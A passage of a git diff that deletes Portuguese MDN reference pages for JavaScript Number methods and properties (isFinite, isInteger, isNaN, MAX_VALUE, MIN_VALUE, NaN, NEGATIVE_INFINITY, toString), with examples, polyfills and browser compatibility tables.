- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("NaN")}}</li>
- <li>The {{jsxref("Math")}} global object</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/isfinite/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/isfinite/index.html
deleted file mode 100644
index 9b70ca6a98..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/isfinite/index.html
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: Number.isFinite()
-slug: Web/JavaScript/Reference/Global_Objects/Number/isFinite
-tags:
- - Experimental
- - Finite
- - JavaScript
- - Method
- - Método(2)
- - Number
- - Reference
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/isFinite
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>Number.isFinite()</code></strong> determina se o valor passado é um número finito.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>Number.isFinite(valor)</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>valor</code></dt>
- <dd>O valor a ser testado.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Em comparação com a função global {{jsxref("Global_Objects/isFinite", "isFinite()")}}, <strong><code>Number.isFinite()</code></strong> não converte forçosamente o parâmetro num number. Isto significa que apenas para valores do tipo number, finitos, retorna <code>true</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: js">Number.isFinite(Infinity); // false
-Number.isFinite(NaN); // false
-Number.isFinite(-Infinity); // false
-
-Number.isFinite(0); // true
-Number.isFinite(2e64); // true
-
-Number.isFinite('0'); // false, teria sido true com a função
- // global isFinite('0')
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<pre class="brush: js">Number.isFinite = Number.isFinite || function(value) {
-    return typeof value === "number" &amp;&amp; isFinite(value);
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.isfinite', 'Number.isInteger')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatChrome("19")}}</td>
- <td>{{CompatGeckoDesktop("16")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOpera("15")}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("16")}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>O objecto {{jsxref("Global_Objects/Number", "Number")}} ao qual pertence.</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/isinteger/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/isinteger/index.html
deleted file mode 100644
index 8c6dc79bb7..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/isinteger/index.html
+++ /dev/null
@@ -1,125 +0,0 @@
----
-title: Number.isInteger()
-slug: Web/JavaScript/Reference/Global_Objects/Number/isInteger
-tags:
- - Experimental
- - JavaScript
- - Method
- - Método(2)
- - Number
- - Reference
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>Number.isInteger()</code></strong> determina se o valor passado é um inteiro.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>Number.isInteger(valor)</code></pre>
-
-<h3 id="Parâmteros">Parâmteros</h3>
-
-<dl>
- <dt><code>valor</code></dt>
- <dd>O valor a ser testado por ser um inteiro.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Se o valor a ser testado for um inteiro, retorna <code>true</code>, senão retorna <code>false</code>. Se o valor for {{jsxref("Global_Objects/NaN", "NaN")}} ou infinito, retorna <code>false</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: js">Number.isInteger(0.1); // false
-Number.isInteger(1); // true
-Number.isInteger(Math.PI); // false
-Number.isInteger(-100000); // true
-Number.isInteger(NaN); // false
-Number.isInteger(0); // true
-Number.isInteger("10"); // false
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
- return typeof value === "number" &amp;&amp;
-  isFinite(value) &amp;&amp;
-  Math.floor(value) === value;
-};
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("16")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile("16")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>O objecto {{jsxref("Global_Objects/Number", "Number")}} ao qual pertence.</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/isnan/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/isnan/index.html
deleted file mode 100644
index 0b242adbbe..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/isnan/index.html
+++ /dev/null
@@ -1,136 +0,0 @@
----
-title: Number.isNaN()
-slug: Web/JavaScript/Reference/Global_Objects/Number/isNaN
-tags:
- - ECMAScript6
- - Experimental
- - JavaScript
- - Method
- - Método(2)
- - Number
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>Number.isNaN()</code></strong> determina se o valor passado é {{jsxref("Global_Objects/NaN", "NaN")}}. Esta é uma versão mais robusta que {{jsxref("Global_Objects/isNaN", "isNaN()")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>Number.isNaN(valor)</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>valor</code></dt>
- <dd>O valor a ser testado se é {{jsxref("Global_Objects/NaN", "NaN")}}.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Due to both equality operators, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} and {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, evaluating to <code>false</code> when checking if {{jsxref("Global_Objects/NaN", "NaN")}} <em>is</em> {{jsxref("Global_Objects/NaN", "NaN")}}, the function <code>Number.isNaN()</code> has become necessary. This situation is unlike all other possible value comparisons in JavaScript.</p>
-
-<p>In comparison to the global {{jsxref("Global_Objects/isNaN", "isNaN()")}} function, <code>Number.isNaN()</code> doesn't suffer the problem of forcefully converting the parameter to a number. This means it is now safe to pass values that would normally convert to {{jsxref("Global_Objects/NaN", "NaN")}}, but aren't actually the same value as {{jsxref("Global_Objects/NaN", "NaN")}}. This also means that only values of the type number, that are also {{jsxref("Global_Objects/NaN", "NaN")}}, return <code>true</code>.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: js">Number.isNaN(NaN); // true
-Number.isNaN(Number.NaN); // true
-Number.isNaN(0 / 0) // true
-
-// e.g. these would have been true with global isNaN()
-Number.isNaN("NaN"); // false
-Number.isNaN(undefined); // false
-Number.isNaN({}); // false
-Number.isNaN("blabla"); // false
-
-// These all return false
-Number.isNaN(true);
-Number.isNaN(null);
-Number.isNaN(37);
-Number.isNaN("37");
-Number.isNaN("37.37");
-Number.isNaN("");
-Number.isNaN(" ");
-</pre>
-
-<h2 id="Polyfill">Polyfill</h2>
-
-<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
-    return typeof value === "number" &amp;&amp; isNaN(value);
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.isnan', 'Number.isnan')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Definição inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome("25")}}</td>
- <td>{{CompatGeckoDesktop("15")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>9</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile("15")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>iOS 9+</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Global_Objects/Number", "Number")}}</li>
- <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/max_value/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/max_value/index.html
deleted file mode 100644
index cd1666ecbc..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/max_value/index.html
+++ /dev/null
@@ -1,119 +0,0 @@
----
-title: Number.MAX_VALUE
-slug: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
-tags:
- - JavaScript
- - Number
- - Property
- - Propriedade
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>Number.MAX_VALUE </code></strong>representa o máximo valor numérico representável em JavaScript.</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A propriedade <code>MAX_VALUE</code> tem um valor aproximado de <code>1.79E+308</code>. Valores maiores do que <code>MAX_VALUE</code> são representados como "<code>Infinity</code>".</p>
-
-<p>Dado que <code>MAX_VALUE</code> é uma propriedade estática (static) de {{jsxref("Number")}}, tu deves sempre usá-la na forma <code>Number.MAX_VALUE</code>, em vez de na forma de uma propriedade de um objecto {{jsxref("Number")}}  que tenhas criado.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_MAX_VALUE">Usando <code>MAX_VALUE</code></h3>
-
-<p>O seguinte código multiplica dois valores numéricos. Se o resultado for inferior ou igual a <code>MAX_VALUE</code>, a função <code>func1</code> é chamada; senão será chamada a função <code>func2</code>.</p>
-
-<pre class="brush: js">if (num1 * num2 &lt;= Number.MAX_VALUE) {
- func1();
-} else {
- func2();
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial. Implementado em JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.3.2', 'Number.MAX_VALUE')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.max_value', 'Number.MAX_VALUE')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Number.MIN_VALUE")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/min_value/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/min_value/index.html
deleted file mode 100644
index 852b37426b..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/min_value/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Number.MIN_VALUE
-slug: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
-tags:
- - JavaScript
- - Number
- - Property
- - Propriedade
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>Number.MIN_VALUE </code></strong>representa o mínimo valor numérico representável em JavaScript.</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>A propriedade <code>MIN_VALUE</code> representa o valor mais próximo de 0 (zero), não negativo, que o JavaScript consegue representar.</p>
-
-<p>A propriedade <code>MIN_VALUE</code> tem um valor aproximado de <code>5e-324</code>. Valores menores do que <code>MIN_VALUE </code>("underflow values") são são convertidos para 0 (zero).</p>
-
-<p>Dado que <code>MIN_VALUE</code> é uma propriedade estática (static) de {{jsxref("Number")}}, tu deves sempre usá-la na forma <code>Number.MIN_VALUE</code>, em vez de na forma de uma propriedade de um objecto {{jsxref("Number")}} que tenhas criado.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_MIN_VALUE">Usando <code>MIN_VALUE</code></h3>
-
-<p>O seguinte código divide dois valores numéricos. Se o resultado for superior ou igual a <code>MIN_VALUE</code>, a função <code>func1</code> é chamada; senão será chamada a função <code>func2</code>.</p>
-
-<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
- func1();
-} else {
- func2();
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.3.3', 'Number.MIN_VALUE')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.min_value', 'Number.MIN_VALUE')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Number.MAX_VALUE")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/nan/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/nan/index.html
deleted file mode 100644
index c3213486b7..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/nan/index.html
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: Number.NaN
-slug: Web/JavaScript/Reference/Global_Objects/Number/NaN
-tags:
- - JavaScript
- - Number
- - Property
- - Propriedade
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>Number.NaN </code></strong>representa um Não-Número. Equivalente a {{jsxref("NaN")}}.</p>
-
-<p>Não precisas de criar um objecto {{jsxref("Number")}} para aceder a esta propriedade estática (static) (usa <code>Number.NaN</code>).</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial. Implementado no JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.3.4', 'Number.NaN')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.nan', 'Number.NaN')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>O objecto global {{jsxref("NaN")}}.</li>
- <li>O objecto {{jsxref("Number")}} ao qual pertence.</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/negative_infinity/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/negative_infinity/index.html
deleted file mode 100644
index a2a7d0f962..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/negative_infinity/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: Number.NEGATIVE_INFINITY
-slug: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
-tags:
- - JavaScript
- - Number
- - Propriedade
- - Referencia
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY
----
-<div>{{JSRef}}</div>
-
-<p>A propriedade <strong><code>Number.NEGATIVE_INFINITY</code></strong> representa o valor negativo Infinito.</p>
-
-<p>Não tem de criar um objecto {{jsxref("Number")}} para aceder a esta propriedade estática (usa <code>Number.NEGATIVE_INFINITY</code>).</p>
-
-<div>{{js_property_attributes(0, 0, 0)}}</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>O valor de <code>Number.NEGATIVE_INFINITY</code> é o mesmo que o valor negativo da propriedade {{jsxref("Infinity")}} do objeto global.</p>
-
-<p>Este valor comporta-se de forma ligeiramente diferente do infinito matemático:</p>
-
-<ul>
- <li>Qualquer valor positivo, incluindo {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, multiplicado por <code>NEGATIVE_INFINITY</code> é igual a <code>NEGATIVE_INFINITY</code>.</li>
- <li>Qualquer valor negativo, incluindo,<code>NEGATIVE_INFINITY</code> multiplicado por <code>NEGATIVE_INFINITY</code> é igual a {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
- <li>O valor 0 (zero) multiplicado por <code>NEGATIVE_INFINITY</code> é igual a {{jsxref("NaN")}}.</li>
- <li>{{jsxref("NaN")}} multiplicado por <code>NEGATIVE_INFINITY</code> é igual a {{jsxref("NaN")}}.</li>
- <li><code>NEGATIVE_INFINITY</code>, dividido por qualquer valor negativo excepto <code>NEGATIVE_INFINITY</code>, é igual a {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}.</li>
- <li><code>NEGATIVE_INFINITY</code>, dividido por qualquer valor positivo exceto {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, é igual a <code>NEGATIVE_INFINITY</code>.</li>
- <li><code>NEGATIVE_INFINITY</code>, dividido por outro <code>NEGATIVE_INFINITY</code> ou {{jsxref("Number.POSITIVE_INFINITY", "POSITIVE_INFINITY")}}, é igual a {{jsxref("NaN")}}.</li>
- <li>Qualquer número dividido por <code>NEGATIVE_INFINITY</code> é igual a 0 (zero).</li>
-</ul>
-
-<p>Pode usar a propriedade <code>Number.NEGATIVE_INFINITY</code> para indicar uma condição de erro numa situação em que, no caso de sucesso, é retornado um valor finito.</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usando_NEGATIVE_INFINITY">Usando <code>NEGATIVE_INFINITY</code></h3>
-
-<p>No seguinte exemplo, é atribuído à variável <code>smallNumber</code> um valor inferior ao valor mínimo. Quando a linha de código {{jsxref("Statements/if...else", "if")}} é executada, a variável <code>smallNumber</code> tem o valor <code>-Infinity</code>, então é atribuída à mesma variável um valor finito antes de continuar.</p>
-
-<pre class="brush: js notranslate">var smallNumber = (-Number.MAX_VALUE) * 2;
-
-if (smallNumber == Number.NEGATIVE_INFINITY) {
- smallNumber = returnFinite();
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7.3.5', 'Number.NEGATIVE_INFINITY')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number.negative_infinity', 'Number.NEGATIVE_INFINITY')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("javascript.builtins.Number.NEGATIVE_INFINITY")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
- <li>{{jsxref("Number.isFinite()")}}</li>
- <li>{{jsxref("Global_Objects/Infinity", "Infinity")}}</li>
- <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/tostring/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/tostring/index.html
deleted file mode 100644
index 1ff4892314..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/tostring/index.html
+++ /dev/null
@@ -1,146 +0,0 @@
----
-title: Number.prototype.toString()
-slug: Web/JavaScript/Reference/Global_Objects/Number/toString
-tags:
- - JavaScript
- - Number
- - Prototype
- - metodo
-translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
----
-<div>{{JSRef}}</div>
-
-<p>O método <strong><code>toString()</code></strong> retorna  uma string com o valor do objecto {{jsxref("Number")}} especificado.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>base</code></dt>
- <dd>Opcional. Um inteiro entre [2, 36] especificando a base usada para representar o valor númerico.</dd>
-</dl>
-
-<h3 id="Erros_possíveis">Erros possíveis</h3>
-
-<dl>
